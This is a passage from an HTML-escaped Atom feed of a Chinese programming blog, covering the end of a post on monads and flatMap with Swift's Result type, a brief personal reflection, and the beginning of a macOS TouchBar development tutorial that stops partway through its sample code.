&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;不过我们多么希望返回的结果是个 &lt;code class=&quot;highlighter-rouge&quot;&gt;Result&amp;lt;String&amp;gt;&lt;/code&gt; 的类型。不如写一个函数来解包带有两层的 &lt;code class=&quot;highlighter-rouge&quot;&gt;Result&amp;lt;T&amp;gt;&lt;/code&gt;。&lt;/p&gt;

&lt;div class=&quot;language-swift highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flatten&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;switch&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;success&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;failure&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;failure&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;还有一点，在写 &lt;code class=&quot;highlighter-rouge&quot;&gt;flatten&lt;/code&gt; 函数的时候，我们也同时考虑了在 &lt;code class=&quot;highlighter-rouge&quot;&gt;map&lt;/code&gt; 函数中出现转换失败的问题。转换正确的时候的确我们的 &lt;code class=&quot;highlighter-rouge&quot;&gt;map&lt;/code&gt; 的输出是个 &lt;code class=&quot;highlighter-rouge&quot;&gt;String&lt;/code&gt; 类型的值，随之输出 &lt;code class=&quot;highlighter-rouge&quot;&gt;Result&amp;lt;String&amp;gt;&lt;/code&gt; 进入下一层的 &lt;code class=&quot;highlighter-rouge&quot;&gt;map&lt;/code&gt;；如果失败，则应当是被转换成 &lt;code class=&quot;highlighter-rouge&quot;&gt;.failure&lt;/code&gt; 的结果。&lt;/p&gt;

&lt;p&gt;将 &lt;code class=&quot;highlighter-rouge&quot;&gt;map&lt;/code&gt; 和 &lt;code class=&quot;highlighter-rouge&quot;&gt;flatten&lt;/code&gt; 结合一下，我们就得到了所谓的 &lt;code class=&quot;highlighter-rouge&quot;&gt;flatMap&lt;/code&gt;（又称作 &lt;code class=&quot;highlighter-rouge&quot;&gt;bind&lt;/code&gt;）：&lt;/p&gt;

&lt;div class=&quot;language-swift highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flatMap&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;U&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;U&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;U&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;flatten&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://ooo.0o0.ooo/2016/11/07/5820b02a72cf8.png&quot; alt=&quot;flatMap&quot; /&gt;&lt;/p&gt;

&lt;p&gt;通过 &lt;code class=&quot;highlighter-rouge&quot;&gt;flatMap&lt;/code&gt; 我们可以非常轻松地处理中途出现的错误异常，并对给定类型进行多次连续的类型转换。&lt;/p&gt;

&lt;h2 id=&quot;monad&quot;&gt;Monad&lt;/h2&gt;

&lt;p&gt;最后再来说什么是 monad。Chris Edihof 曾在他的文章中指出：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;如果可以为某个类型定义它的 &lt;code class=&quot;highlighter-rouge&quot;&gt;flatMap&lt;/code&gt; 方法，那么这个类型通常就是个 &lt;code class=&quot;highlighter-rouge&quot;&gt;monad&lt;/code&gt;。（If you can define &lt;code class=&quot;highlighter-rouge&quot;&gt;flatMap&lt;/code&gt; for a type, the type is often called a &lt;code class=&quot;highlighter-rouge&quot;&gt;monad&lt;/code&gt;.）&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;在这里，我们通过 &lt;code class=&quot;highlighter-rouge&quot;&gt;map&lt;/code&gt; 和 &lt;code class=&quot;highlighter-rouge&quot;&gt;flatten&lt;/code&gt; 实现了 &lt;code class=&quot;highlighter-rouge&quot;&gt;Result&lt;/code&gt; 类型的 &lt;code class=&quot;highlighter-rouge&quot;&gt;flatMap&lt;/code&gt;。此时，我们就可以说 &lt;code class=&quot;highlighter-rouge&quot;&gt;Result&lt;/code&gt; 这个类型就是一个 monad。&lt;/p&gt;

&lt;h2 id=&quot;deal-with-monad&quot;&gt;Deal with Monad&lt;/h2&gt;

&lt;p&gt;到现在你就可以非常轻松地处理你的异步请求了。&lt;/p&gt;

&lt;div class=&quot;language-swift highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;toInt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;Int&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 
&lt;span class=&quot;kd&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;toImage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;num&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;UIImage&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;applyBlur&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;UIImage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;UIImage&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// WOW!&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;flatMap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;toInt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;flatMap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;toImage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;flatMap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;applyBlur&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;重新回顾一下 &lt;code class=&quot;highlighter-rouge&quot;&gt;map&lt;/code&gt; 和 &lt;code class=&quot;highlighter-rouge&quot;&gt;flatMap&lt;/code&gt; 在 &lt;code class=&quot;highlighter-rouge&quot;&gt;Result&amp;lt;T&amp;gt;&lt;/code&gt; 上的工作方式：&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://ooo.0o0.ooo/2016/11/07/5820b3639d4f0.jpg&quot; alt=&quot;map&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://ooo.0o0.ooo/2016/11/07/5820b3638931b.jpg&quot; alt=&quot;flatMap&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Functor、monad 可以看作是一种运算的抽象。它们的目的都是为了更好的解决类型的封装和转换。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;further-reading&quot;&gt;Further Reading&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;ReactiveCocoa&lt;/li&gt;
  &lt;li&gt;Promise &amp;amp; Future&lt;/li&gt;
  &lt;li&gt;Swift 中的 &lt;code class=&quot;highlighter-rouge&quot;&gt;throw&lt;/code&gt; 及 &lt;code class=&quot;highlighter-rouge&quot;&gt;rethrow&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.javiersoto.me/post/106875422394&quot;&gt;Functor and Monad in Swift - Javier Soto&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.infoq.com/cn/articles/swift-brain-gym-monad&quot;&gt;Swift 烧脑体操（五）- Monad - 唐巧&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://realm.io/news/swift-tasks-nevyn-bengtsson&quot;&gt;Monads Everywhere: Porting C#’s Tasks to Swift - Nevyn Bengtsson&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://chris.eidhof.nl/post/monads-in-swift/&quot;&gt;Monads in Swift - Chris Edihof&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.slideshare.net/UsrNameu1/swift-46430613&quot;&gt;続・ゲンバのSwift&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

          
          
        
      
        </content><summary>对于大多数刚刚入门函数式编程的同学来说，monad（单子、又叫单体）可能是这里面的一道坎。你可能对 map、flatMap 以及 filter 再熟悉不过，可是到了高阶的抽象层次上就又会变得一脸懵逼。其实每个人在学习的阶段都会经历这个过程，不过希望这篇文章能让你重新理解 monad 以及其他相关的概念。</summary></entry><entry><title>随感</title><id>http://blog.cee.moe/casual-thinking.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/casual-thinking.html" /><published>2016-10-30T00:00:00-07:00</published><updated>2016-10-30T02:47:43-07:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;p&gt;从上次 Hackathon 回来之后，逛了一些朋友的博客（比如&lt;a href=&quot;http://sergiochan.xyz/&quot;&gt;陈叔&lt;/a&gt;、&lt;a href=&quot;http://www.justzht.com/&quot;&gt;小萌&lt;/a&gt;、&lt;a href=&quot;https://blog.0xbbc.com/&quot;&gt;BlueCocoa&lt;/a&gt;、&lt;a href=&quot;https://windisco.com/&quot;&gt;执一&lt;/a&gt;、&lt;a href=&quot;https://blog.soruly.hk/blog/&quot;&gt;soruly&lt;/a&gt;），感觉到和这些 Full-Stack Developer 的差距还是挺大的。&lt;/p&gt;

&lt;p&gt;对自己的评价可能就如图的感受：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://ooo.0o0.ooo/2016/10/30/5815be2661006.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;跪在地上：我代码不精，封装无力，架构松散，Debug 迟缓，就我这种 lowbee 还能和各位 Dalao 同在一个群，感谢各位管理员。(;´༎ຶД༎ຶ`)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;hr /&gt;

&lt;p&gt;和各位大大交流后，自己也思考了一下这种感觉的来源，不出意外的发现是初中和高中荒废的六年。住校期间正好是 Web 发展最最最迅猛的时代，失去了对外的联系，失去了一切接触新鲜事物的机会。&lt;/p&gt;

&lt;p&gt;不知道对这样的过去是应该悔恨还是喜欢。一方面自然失去了很多 Coding 的机会，能力自然不足；另一方面又养成了很多 Coding 之外的爱好（不一一列举，懂的人自然懂），以及非常强大的自我学习的能力。&lt;/p&gt;

&lt;p&gt;剩下一点住宿生活带给自己最大的慰藉在于，生活能力真的比同龄或者比我大四五岁的人高出不少。喜欢一个人思考问题，一个人独居，一个人旅游。&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;对了，下了班之后总感觉自己很累。欢迎晚上九点之后找我聊天。一切你知道的 IM 都可以找到我。&lt;/p&gt;

          
          
        
      
        </content><summary>从上次 Hackathon 回来之后，逛了一些朋友的博客（比如陈叔、小萌、BlueCocoa、执一、soruly），感觉到和这些 Full-Stack Developer 的差距还是挺大的。</summary></entry><entry><title>TouchBar 入门开发指南</title><id>http://blog.cee.moe/touchbar-tutorial.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/touchbar-tutorial.html" /><published>2016-10-28T00:00:00-07:00</published><updated>2016-10-28T03:53:47-07:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;h2 id=&quot;environments--环境要求&quot;&gt;Environments / 环境要求&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;macOS Sierra 10.12.1 (16B2657)&lt;/li&gt;
  &lt;li&gt;Xcode 8.1 (8B62)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;可以通过 &lt;a href=&quot;https://developer.apple.com/&quot;&gt;https://developer.apple.com/&lt;/a&gt; 获取更多配置环境信息。&lt;/p&gt;

&lt;h2 id=&quot;get-started--上手实践&quot;&gt;Get Started / 上手实践&lt;/h2&gt;

&lt;p&gt;要实现 NSTouchBar，我们必须做下面三件事情：&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;继承 NSResponder&lt;/li&gt;
  &lt;li&gt;遵循 NSTouchBarProvider 协议&lt;/li&gt;
  &lt;li&gt;在 NSTouchBarProvider 协议中实现 &lt;code class=&quot;highlighter-rouge&quot;&gt;makeTouchBar()&lt;/code&gt; 方法&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;我们都知道，NSViewController 是 NSResponder 的一个子类实现（如果对 NSResponder 的原理不了解，可以参看&lt;a href=&quot;http://blog.seedlab.io/understanding-responder-chain/&quot;&gt;这篇文章&lt;/a&gt;）。在 NSTouchBarProvider 的定义下方，可以看到在 10.12.1 中的 NSResponder 已经遵循了 NSTouchBarProvider 协议：&lt;/p&gt;

&lt;div class=&quot;language-swift highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;protocol&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSTouchBarProvider&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSObjectProtocol&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;@available(OSX 10.12.1, *)&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;touchBar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSTouchBar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;get&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;extension&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSResponder&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSTouchBarProvider&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;@available(OSX 10.12.1, *)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;open&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;touchBar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSTouchBar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;?&lt;/span&gt;

    &lt;span class=&quot;kd&quot;&gt;@available(OSX 10.12.1, *)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;open&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;makeTouchBar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSTouchBar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;?&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;所以，对于开发者来说，你要做的，就是对任何一个继承自 NSResponder 的元素，去实现 &lt;code class=&quot;highlighter-rouge&quot;&gt;makeTouchBar()&lt;/code&gt; 方法。&lt;/p&gt;

&lt;p&gt;我们来做一个最简单的 TouchBar 应用：在屏幕上随机生成两个 0 到 9 的整数，通过点击 TouchBar 中的按钮来比较两个数大小，并给出结果。完成后的效果如图：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://ooo.0o0.ooo/2016/10/28/581316d32d43f.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;project-init--新建工程&quot;&gt;Project Init / 新建工程&lt;/h3&gt;

&lt;p&gt;打开 Xcode，并新建一个 Xcode 工程。选择 macOS 上的 Cocoa Application，点击下一步，输入项目名称 TouchBarSample，并在勾选使用 Storyboards。在这里我们选择使用 Swift 3.0 开发。&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://ooo.0o0.ooo/2016/10/28/581317cf2ae66.png&quot; alt=&quot;Step 1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;进入 Main.storyboard，删除默认的 Window Controller 和 View Controller。我们在左边的项目中新建我们的 WindowController。选择新建一个 Cocoa Class，类名为 WindowController，继承自 NSWindowController 并勾选使用 XIB 文件。&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://ooo.0o0.ooo/2016/10/28/581318e49703d.png&quot; alt=&quot;Step 2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;打开 &lt;code class=&quot;highlighter-rouge&quot;&gt;WindowController.swift&lt;/code&gt;，重写其 &lt;code class=&quot;highlighter-rouge&quot;&gt;windowNibName&lt;/code&gt; 属性：&lt;/p&gt;

&lt;div class=&quot;language-swift highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;override&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;windowNibName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;WindowController&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;接下来，修改在 &lt;code class=&quot;highlighter-rouge&quot;&gt;AppDelegate.swift&lt;/code&gt; 中的代码，让刚刚创建的 WindowController 显示在屏幕上：&lt;/p&gt;

&lt;div class=&quot;language-swift highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Cocoa&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;@NSApplicationMain&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;AppDelegate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSObject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSApplicationDelegate&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;windowController&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSWindowController&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;?&lt;/span&gt;

    &lt;span class=&quot;kd&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;applicationDidFinishLaunching&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;aNotification&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Notification&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// Insert code here to initialize your application&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;windowController&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;WindowController&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;windowController&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;showWindow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;windowController&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;windowController&lt;/span&gt;
        
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

